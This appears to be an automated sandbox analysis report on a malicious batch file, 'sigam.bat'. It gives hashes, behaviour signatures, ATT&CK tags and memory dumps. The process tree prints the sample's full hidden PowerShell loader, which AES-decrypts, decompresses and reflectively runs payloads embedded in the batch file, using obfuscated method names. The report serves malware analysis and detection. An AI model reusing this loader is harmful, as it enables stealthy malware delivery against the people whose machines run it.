e23da97c5d776707b4046939c55bbce60d51f81ee44d85932c5a0495e29edaac

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20250207-en
resource tags

arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 20:08

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General

Target

sigam.bat
Size

305KB
MD5

fc8cfb6ec385f5fb6562cd9743b6e779
SHA1

f8a2ad10335e6980e454890fe87fc05e0c7e8eff
SHA256

e23da97c5d776707b4046939c55bbce60d51f81ee44d85932c5a0495e29edaac
SHA512

204157ffe9d000a861d34bf72578485c10ffa507a4aeae9921fb87939782beadfc106e64511ba43b9ca1a0789d9e951626d515ac1f46567f2e27f5115e2b4d31
SSDEEP

6144:FKUweZmklFrB429lxBm0yX+EDNmHiBqNrTHR2XuGHSlGvUVPm8fCk:4URvrBDG0n6NEiBg2XlHS4vUVPJ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2480	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2480	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2404	2488	cmd.exe	32
PID 2488 wrote to memory of 2404	2488	cmd.exe	32
PID 2488 wrote to memory of 2404	2488	cmd.exe	32
PID 2404 wrote to memory of 2912	2404	net.exe	33
PID 2404 wrote to memory of 2912	2404	net.exe	33
PID 2404 wrote to memory of 2912	2404	net.exe	33
PID 2488 wrote to memory of 2480	2488	cmd.exe	34
PID 2488 wrote to memory of 2480	2488	cmd.exe	34
PID 2488 wrote to memory of 2480	2488	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sigam.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c0bpBcIu6584bY65H+UdteQkyxdnjH+EmhZQ2yerru0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T7fYeSkMAr1iBCnxhLM7rg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dpDNc=New-Object System.IO.MemoryStream(,$param_var); $gyjib=New-Object System.IO.MemoryStream; $efwce=New-Object System.IO.Compression.GZipStream($dpDNc, [IO.Compression.CompressionMode]::Decompress); $efwce.CopyTo($gyjib); $efwce.Dispose(); $dpDNc.Dispose(); $gyjib.Dispose(); $gyjib.ToArray();}function execute_function($param_var,$param2_var){ $HkCLb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tHnkt=$HkCLb.EntryPoint; $tHnkt.Invoke($null, $param2_var);}$voztH = 'C:\Users\Admin\AppData\Local\Temp\sigam.bat';$host.UI.RawUI.WindowTitle = $voztH;$eEkrc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($voztH).Split([Environment]::NewLine);foreach ($SLVzD in $eEkrc) { if ($SLVzD.StartsWith(':: ')) { $JwMvU=$SLVzD.Substring(3); break; }}$payloads_var=[string[]]$JwMvU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2480-4-0x000007FEF5F4E000-0x000007FEF5F4F000-memory.dmp

Filesize
4KB

Download
memory/2480-7-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-10-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-9-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-8-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2480-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2480-11-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-12-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download